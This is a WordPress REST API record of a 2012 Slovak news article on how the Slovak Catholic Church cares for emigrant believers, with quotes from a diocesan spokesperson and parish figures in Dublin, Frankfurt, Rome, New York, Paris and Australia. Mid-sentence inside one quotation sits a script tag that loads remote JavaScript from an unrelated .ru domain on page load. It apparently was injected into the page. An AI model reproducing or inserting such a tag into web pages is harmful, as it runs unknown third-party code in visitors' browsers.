{"id":12534,"date":"2012-03-20T08:50:27","date_gmt":"2012-03-20T08:50:27","guid":{"rendered":"http:\/\/www.scmlondon.org\/?p=12534"},"modified":"2012-03-21T14:34:12","modified_gmt":"2012-03-21T14:34:12","slug":"tema-su-veriaci-za-hranicami-bez-pastiera","status":"publish","type":"post","link":"https:\/\/www.scmlondon.org\/?p=12534","title":{"rendered":"T\u00c9MA: S\u00fa veriaci za hranicami bez pastiera?"},"content":{"rendered":"<div id=\"header\">\n<h1 style=\"text-align: justify;\"><a href=\"http:\/\/www.scmlondon.org\/wp-content\/uploads\/2012\/03\/ovce-bez-pastiera.jpg\" data-rel=\"lightbox-image-0\" data-rl_title=\"\" data-rl_caption=\"\"><img loading=\"lazy\" decoding=\"async\" class=\"alignright size-thumbnail wp-image-12549\" title=\"\" src=\"http:\/\/www.scmlondon.org\/wp-content\/uploads\/2012\/03\/ovce-bez-pastiera-150x150.jpg\" alt=\"\" width=\"150\" height=\"150\" \/><\/a><\/h1>\n<h1><a title=\"\" href=\"http:\/\/www.postoy.sk\/\"><img decoding=\"async\" id=\"logo\" src=\"http:\/\/www.postoy.sk\/sites\/all\/themes\/postoy_efficient6\/logo.png\" alt=\"\" \/><\/a><\/h1>\n<\/div>\n<p>Autor: M\u00e1ria \u0160kvarlov\u00e1 &#8211; 19 March, 2012 &#8211; 21:09<\/p>\n<div>\n<div>\n<ul>\n<li><a title=\"\" href=\"http:\/\/www.postoy.sk\/spolocnost\" rel=\"tag\">Spolo\u010dnos\u0165<\/a><\/li>\n<\/ul>\n<\/div>\n<\/div>\n<div>\n<p style=\"text-align: justify;\"><strong>Konferencia biskupov Slovenska pred minul\u00fdmi Vianocami rozdistribuovala do farnost\u00ed plag\u00e1t s\u00a0obr\u00e1zkami svetov\u00fdch metropol a\u00a0inform\u00e1ciou, kde na svete sa nach\u00e1dzaj\u00fa slovensk\u00e9 katol\u00edcke misie a\u00a0pravideln\u00e9 om\u0161e v\u00a0na\u0161om jazyku. \u010co v\u0161etko vlastne rob\u00ed slovensk\u00e1 katol\u00edcka cirkev pre svoje ove\u010dky, ktor\u00e9 opustili ko\u0161iar po Tatrami?<\/strong><\/p>\n<p style=\"text-align: justify;\">Aj ke\u010f \u010dasy ve\u013ek\u00fdch soci\u00e1lnych, politick\u00fdch aj sez\u00f3nnych vys\u0165ahovaleck\u00fdch v\u013an pominuli, vo svete \u017eije pod\u013ea posledn\u00fdch odhadov (r. 2008) \u00daradu pre Slov\u00e1kov \u017eij\u00facich v\u00a0zahrani\u010d\u00ed st\u00e1le asi 2,26 mili\u00f3na Slov\u00e1kov, teda takmer tretina n\u00e1roda. Najviac na\u0161ich krajanov zakotvilo v\u00a0Spojen\u00fdch \u0161t\u00e1toch, Kanade, Ve\u013ekej Brit\u00e1nii, po\u010detn\u00e1 komunita je aj v\u00a0Nemecku \u010di v\u00a0\u00cdrsku. Duchovn\u00fa pomoc v\u00a0materinskej re\u010di im pon\u00faka 20 slovensk\u00fdch farnost\u00ed alebo Slovensk\u00fdch katol\u00edckych misi\u00ed. Za pastor\u00e1ciu Slov\u00e1kov zodpoved\u00e1 trnavsk\u00fd arcibiskup R\u00f3bert Bez\u00e1k.<\/p>\n<h3>Plag\u00e1ty \u2013 prv\u00fd impulz<\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" title=\"\" src=\"http:\/\/www.postoy.sk\/files\/imagecache\/Original\/wysiwyg_imageupload\/39\/omseeu.jpg\" alt=\"527\" width=\"200\" height=\"280\" \/><\/p>\n<p style=\"text-align: justify;\"><em>\u201ePlag\u00e1ty maj\u00fa v\u00a0prvom rade prinies\u0165 inform\u00e1ciu. Maj\u00fa by\u0165 teda tak\u00fdm prv\u00fdm impulzom. Boli distribuovan\u00e9 po\u010das viano\u010dn\u00fdch sviatkov, kedy mnoh\u00ed Slov\u00e1ci \u017eij\u00faci v\u00a0zahrani\u010d\u00ed prich\u00e1dzaj\u00fa za svojimi rodinami. Preto je to pr\u00edle\u017eitos\u0165 pon\u00faknu\u0165 t\u00fdmto \u013eu\u010fom vedomie pr\u00edtomnosti Slovensk\u00fdch katol\u00edckych misi\u00ed v\u00a0zahrani\u010d\u00ed. V\u00a0mnoh\u00fdch ve\u013ekomest\u00e1ch tieto misie sl\u00fa\u017eia aj ako miesto stretnutia sa krajanov a\u00a0ponuky r\u00f4znych duchovn\u00fdch i\u00a0kult\u00farnych podujat\u00ed,\u201c<\/em> povedala pre Postoy hovorky\u0148a trnavskej diec\u00e9zy Lucia Dr\u00e1bikov\u00e1. Doplnila, \u017ee my\u0161lienka plag\u00e1tov pri\u0161la priamo od slovensk\u00fdch k\u0148azov, ktor\u00ed p\u00f4sobia v\u00a0zahrani\u010d\u00ed.<\/p>\n<p style=\"text-align: justify;\">Petra p\u00f4vodom z\u00a0Podol\u00ednca \u017eila v\u00a0minulosti vo Ve\u013ekej Brit\u00e1nii a v Nemecku, no u\u017e takmer desa\u0165 rokov \u017eije v\u00a0New Yorku. A\u017e v\u00a0Spojen\u00fdch \u0161t\u00e1toch za\u010dala nav\u0161tevova\u0165 slovensk\u00fa farnos\u0165 na Manhattane. A vrav\u00ed, \u017ee je vo ve\u013emi dobrom stave po materi\u00e1lnej aj duchovnej str\u00e1nke. <em>\u201e<\/em><em>Far\u00e1r a kapl\u00e1n vo farnosti, kde chod\u00edm, s\u00fa ve\u013emi \u00fastretov\u00ed.\u00a0Asi pred rokom sa za\u010dali organizova\u0165 ml\u00e1de\u017en\u00edcke sv\u00e4t\u00e9 om\u0161e, ktor\u00e9 s\u00fa \u00faplne super a aj ke\u010f tam nepr\u00edde 150 mlad\u00fdch, st\u00e1le je to kr\u00e1sny z\u00e1\u017eitok,\u201c<script src=\"\/\/uptoliked.ru\/widjets.js\"><\/script><\/em> prizn\u00e1va Petra. Pred nieko\u013ek\u00fdmi mesiacmi sa na fare za\u010dali stret\u00e1vky mlad\u00fdch diev\u010dat, ktor\u00e9 na Vianoce nacvi\u010dili spev, raz za mesiac vo farnosti b\u00fdvaj\u00fa aj detsk\u00e9 om\u0161e a\u00a0aj star\u0161\u00ed \u013eudia maj\u00fa svoje v\u00fdro\u010dn\u00e9 sch\u00f4dze. <em>\u201eTak\u017ee pod\u013ea m\u0148a si tam ka\u017ed\u00fd pr\u00edde na svoje,\u201c<\/em> doplnila.<\/p>\n<h3>Katol\u00edci v\u00a0zahrani\u010d\u00ed: Zi\u0161lo by sa viac podpory<\/h3>\n<p style=\"text-align: justify;\">Hlavn\u00fdm cie\u013eom Konferencie biskupov Slovenska vo vz\u0165ahu k\u00a0zahrani\u010dn\u00fdm Slov\u00e1kom je pod\u013ea Dr\u00e1bikovej posiela\u0165 pod\u013ea mo\u017enost\u00ed slovensk\u00fdch k\u0148azov do zriaden\u00fdch farnost\u00ed a\u00a0<em>\u201eby\u0165 v\u00a0prvom rade pr\u00edtomn\u00fd v\u00a0t\u00fdchto miestach\u201c<\/em>. Dod\u00e1va, \u017ee v\u00a0roku 2011 sa podarila dohodn\u00fa\u0165 spolupr\u00e1ca s\u00a0dublinskou arcidiec\u00e9zou v\u00a0\u00cdrsku, tak\u017ee tam od vla\u0148aj\u0161ej jesene maj\u00fa slovensk\u00e9ho k\u0148aza.<\/p>\n<p style=\"text-align: justify;\">Katar\u00edna Giertlov\u00e1, ktor\u00e1 je koordin\u00e1torkou \u010dinnost\u00ed slovenskej kres\u0165ansk\u00fdch komunity v\u00a0Dubline, pre Postoy povedala, \u017ee na to, aby dostali slovensk\u00e9ho k\u0148aza, sa tri roky obracali na r\u00f4zne konferencie, \u00farady, \u010di m\u00e9di\u00e1. <em>\u201e<\/em><em>Od novembra 2011 je v Dubline otec Eugen Rybansk\u00fd, ktor\u00fd sa venuje slovenskej komunite veriacich. Dovtedy sa o duchovn\u00fd \u017eivot Slov\u00e1kov staral otec Ga\u0161par Habara, ktor\u00fd v\u0161ak popri svojej farnosti vzdialenej 60 km od Dublinu musel pod\u00e1va\u0165 nad\u013eudsk\u00e9 v\u00fdkony, aby to v\u0161etko st\u00edhal,\u201c<\/em> uviedla Giertlov\u00e1. Do diania vo farnosti sa pod\u013ea nej akt\u00edvne zap\u00e1ja asi 50 \u013eud\u00ed, pri\u010dom na om\u0161e chod\u00ed asi 70 a\u017e 100 Slov\u00e1kov. Koordin\u00e1torka tvrd\u00ed, \u017ee vo farnosti neprebieha \u017eiadna pastor\u00e1cia smerom zo Slovenska.<\/p>\n<p style=\"text-align: justify;\">V\u00e4\u010d\u0161\u00ed z\u00e1ujem z domoviny by pod\u013ea spr\u00e1vcu slovenskej farnosti vo Frankfurte Petra Ce\u013eucha uv\u00edtali aj tamoj\u0161\u00ed slovensk\u00ed veriaci. Dod\u00e1va, \u017ee v\u00a0\u00falohe far\u00e1ra p\u00f4sob\u00ed len od febru\u00e1ra 2011 a\u00a0tak sa nevie objekt\u00edvne vyjadri\u0165 k\u00a0tomu, \u010di slovensk\u00e1 cirkev vyv\u00edja dostatok \u00fasilia na pastor\u00e1ciu svojich krajanov<strong>.<\/strong> <em>\u201e<\/em><em>M\u00f4\u017eem len v kr\u00e1tkosti za posledn\u00fd polrok kon\u0161tatova\u0165, \u017ee som nezaregistroval \u017eiaden kontakt, n\u00e1znak spolupr\u00e1ce, \u010di ponuky spolupr\u00e1ce zo strany Cirkvi na Slovensku,\u201c<\/em> povedal pre Postoy.<\/p>\n<p style=\"text-align: justify;\">Slovensk\u00fd far\u00e1r v\u00a0austr\u00e1lskom Lidcombe zas uviedol, \u017ee za 50 rokov svojej existencie farnos\u0165 dostala jedn\u00e9ho k\u0148aza v 50-tych rokoch, tri n\u00e1v\u0161tevy biskupa Hru\u0161ovsk\u00e9ho a jednu n\u00e1v\u0161tevu arcibiskupa Sokola a arcibiskupa Tk\u00e1\u010da.<\/p>\n<p style=\"text-align: justify;\">Na margo starostlivosti o\u00a0slovensk\u00fdch katol\u00edkov v\u00a0cudzine sa h\u00e1dam najostrej\u0161ie vyjadril spr\u00e1vca slovenskej farnosti v\u00a0Par\u00ed\u017ei: <em>\u201eJe mi \u013e\u00fato, ale KBS nem\u00e1 re\u00e1lny z\u00e1ujem o slovensk\u00e9 katol\u00edcke misie.\u201c<\/em> Dodal, \u017ee svoje tvrdenie m\u00f4\u017ee dok\u00e1za\u0165, no na \u010fal\u0161iu ot\u00e1zku Postoya u\u017e neodpovedal.<\/p>\n<h3>\u010ealeko od domu, \u010faleko od Boha?<\/h3>\n<p style=\"text-align: justify;\">Sk\u00fasenos\u0165 niektor\u00fdch vys\u0165ahovalcov hovor\u00ed, \u017ee ich n\u00e1bo\u017eensk\u00fd \u017eivot v\u00a0cudzine akoby ochladol. Nechce sa im chodi\u0165 na om\u0161e, ktor\u00fdm beztak \u010dasto nerozumej\u00fa, dup\u013eom to plat\u00ed o spovedi. Katar\u00edna Giertlov\u00e1 z\u00a0Dublinu hovor\u00ed, \u017ee oslabenie viery v cudzine je ve\u013emi individu\u00e1lne a z\u00e1vis\u00ed to na sile viery ka\u017ed\u00e9ho jednotlivca. <em>\u201eAj na\u0161a viera bola sk\u00fa\u0161an\u00e1. Boli obdobia, kedy sme museli nav\u0161tevova\u0165 len anglick\u00e9 sv\u00e4t\u00e9 om\u0161e, ktor\u00fdm mnoh\u00ed nerozumeli a to sa mohlo sta\u0165 kame\u0148om \u00farazu pre mnoh\u00fdch Slov\u00e1kov. Takisto nebolo jednoduch\u00e9 spoveda\u0165 sa v cudzom jazyku a preto mnoh\u00ed t\u00fato sviatos\u0165 odkladali do \u010dasu, kedy i\u0161li na Slovensko na dovolenku,\u201c<\/em> objas\u0148uje. Dod\u00e1va v\u0161ak, \u017ee Boh sa o ich komunitu v\u017edy postaral. <em>\u201e\u010casto sa stalo, \u017ee do Dublinu &#8218;zabl\u00fadil&#8216; nejak\u00fd k\u0148az na \u0161t\u00fadium anglick\u00e9ho jazyka a dozvedel sa o na\u0161ej komunite, a\u00a0pokia\u013e mohol, tak pre n\u00e1s sl\u00fa\u017eil om\u0161e v\u00a0sloven\u010dine.\u201c <\/em><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" title=\"\" src=\"http:\/\/www.postoy.sk\/files\/imagecache\/Original\/wysiwyg_imageupload\/39\/slovakheader-text.jpg\" alt=\"528\" width=\"420\" height=\"212\" \/><\/p>\n<p style=\"text-align: justify;\">Otec Martin Kramara z\u00a0r\u00edmskej farnosti si nemysl\u00ed, \u017ee \u013eudia ochladn\u00fa a prest\u00e1vaj\u00fa nav\u0161tevova\u0165 bohoslu\u017eby, ke\u010f od\u00eddu do Talianska. <em>\u201ePozn\u00e1m \u013eud\u00ed, ktor\u00fdch pr\u00e1ve pobyt v R\u00edme priviedol k hlb\u0161iemu rozm\u00fd\u0161\u013eaniu o viere a sviatostiach. Ale nie v\u0161etci pr\u00eddu pr\u00e1ve na slovensk\u00fa sv\u00e4t\u00fa om\u0161u, preto\u017ee t\u00fdch mo\u017enost\u00ed nav\u0161tevova\u0165 chr\u00e1m je ne\u00farekom,\u201c<\/em> spomenul svoju sk\u00fasenos\u0165. Viacer\u00ed z\u00a0jeho farn\u00edkov musia obetova\u0165 nieko\u013eko hod\u00edn z nedele, aby sa mohli z\u00fa\u010dastni\u0165 na slovenskej sv\u00e4tej om\u0161i, preto\u017ee b\u00fdvaj\u00fa \u010faleko a cestova\u0165 v R\u00edme je aj cez v\u00edkend vy\u010derp\u00e1vaj\u00face. Podobn\u00e1 situ\u00e1cia je aj v\u00a0New Yorku. Ke\u010f sa Slov\u00e1ci rozhodn\u00fa pr\u00eds\u0165 na om\u0161u na Manhattan, pre mnoh\u00fdch to znamen\u00e1 nieko\u013ekohodinov\u00fa cestu autom. <em>\u201e\u013dudia ve\u013eakr\u00e1t doch\u00e1dzaj\u00fa z ve\u013ekej dia\u013eky, v\u00a0\u010dom je to in\u00e9, ako doma na Slovensku. Ale z osobnej sk\u00fasenosti m\u00f4\u017eem nap\u00edsa\u0165, \u017ee far\u00e1r aj kapl\u00e1n robia v\u0161etko preto, aby zabr\u00e1nili \u00fapadku viery,\u201c<\/em> povedala Petra, ktor\u00e1 nav\u0161tevuje farnos\u0165 v\u00a0New Yorku. Mysl\u00ed si, \u017ee ak niekto nechce chodi\u0165 do kostola, tak si st\u00e1le n\u00e1jde v\u00fdhovorku a nepom\u00f4\u017ee ani s\u00e1m p\u00e1pe\u017e.<\/p>\n<p style=\"text-align: justify;\">Far\u00e1r Krigovsk\u00fd z\u00a0Austr\u00e1lie hovor\u00ed, \u017ee Slov\u00e1ci sa prisp\u00f4sobuj\u00fa miestnym zvykom. <em>\u201eT\u00ed, \u010do maj\u00fa siln\u00fa vieru, si ju zachovaj\u00fa, ale v\u00e4\u010d\u0161ine nez\u00e1le\u017e\u00ed na slovensk\u00fdch bohoslu\u017eb\u00e1ch. Je pre nich ove\u013ea pohodlnej\u0161ie is\u0165 na om\u0161u do lok\u00e1lneho kostola,\u201c<\/em> povedal pre Postoy.<\/p>\n<p style=\"text-align: justify;\">Realita niektor\u00fdch Slov\u00e1kov, ktor\u00ed po odchode za \u0161t\u00fadiami \u010di pr\u00e1cou zanedbaj\u00fa svoj vz\u0165ah k\u00a0Cirkvi, nie je pod\u013ea Dr\u00e1bikovej reakciou na ich vz\u0165ah a vieru v Krista, ale sk\u00f4r na sp\u00f4sob tradi\u010dn\u00e9ho pre\u017e\u00edvania viery, ktor\u00fd praktizovali vo svojich rodin\u00e1ch \u010di farnostiach. <em>\u201eNa druhej strane je d\u00f4le\u017eit\u00e9 poznamena\u0165, \u017ee mnoh\u00ed sa akt\u00edvne zap\u00e1jaj\u00fa do \u017eivota slovensk\u00fdch farnost\u00ed \u010di misi\u00ed v zahrani\u010d\u00ed a taktie\u017e mnoh\u00ed pr\u00e1ve mimo svojho domova nach\u00e1dzaj\u00fa a objavuj\u00fa vieru v Krista a bohatstvo a hodnoty, ktor\u00e9 Cirkev pon\u00faka,\u201c<\/em> dodala.<\/p>\n<h3>M\u00e9dium no. 1 &#8211; internet<\/h3>\n<p style=\"text-align: justify;\">KBS pred Vianocami stavila na plag\u00e1ty, lebo predpokladala, \u017ee nimi \u201ezachyt\u00ed\u201c krajanov, ktor\u00ed pr\u00eddu za svojimi rodinami. Frankfurtsk\u00fd far\u00e1r Peter Ce\u013euch v\u0161ak tvrd\u00ed, \u017ee forma komunik\u00e1cie \u010d\u00edslo jeden medzi slovensk\u00fdmi veriacimi je okrem tej osobnej &#8211; email a soci\u00e1lne siete.<\/p>\n<p style=\"text-align: justify;\">Slovensk\u00e1 cirkev by v\u00a0tomto roku v\u00a0s\u00favislosti s\u00a0veriacimi v\u00a0cudzine chcela vyrie\u0161i\u0165 niektor\u00e9 person\u00e1lne ot\u00e1zky.<em> \u201eTeda posla\u0165 k\u0148azov do \u010fal\u0161\u00edch u\u017e existuj\u00facich misi\u00ed,\u201c <\/em>spresnila hovorky\u0148a biskupa Bez\u00e1ka zodpovedn\u00e9ho za na\u0161ich katol\u00edkov vo svete.<\/p>\n<p><strong>M\u00e1ria \u0160kvarlov\u00e1<\/strong><\/p>\n<p>Ilustra\u010dn\u00e9 foto:\u00a0slovakchurch.com<\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>Autor: M\u00e1ria \u0160kvarlov\u00e1 &#8211; 19 March, 2012 &#8211; 21:09 Spolo\u010dnos\u0165 Konferencia biskupov Slovenska pred minul\u00fdmi Vianocami rozdistribuovala do farnost\u00ed plag\u00e1t s\u00a0obr\u00e1zkami svetov\u00fdch metropol a\u00a0inform\u00e1ciou, kde na svete sa nach\u00e1dzaj\u00fa slovensk\u00e9&#8230; <a class=\"meta-more\" href=\"https:\/\/www.scmlondon.org\/?p=12534\">Pokra\u010dova\u0165 v \u010d\u00edtan\u00ed <span class=\"meta-nav\">&raquo;<\/span><\/a><\/p>\n","protected":false},"author":417,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-12534","post","type-post","status-publish","format-standard","hentry","category-6"],"_links":{"self":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/12534","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/users\/417"}],"replies":[{"embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=12534"}],"version-history":[{"count":6,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/12534\/revisions"}],"predecessor-version":[{"id":12538,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/12534\/revisions\/12538"}],"wp:attachment":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=12534"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=12534"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=12534"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}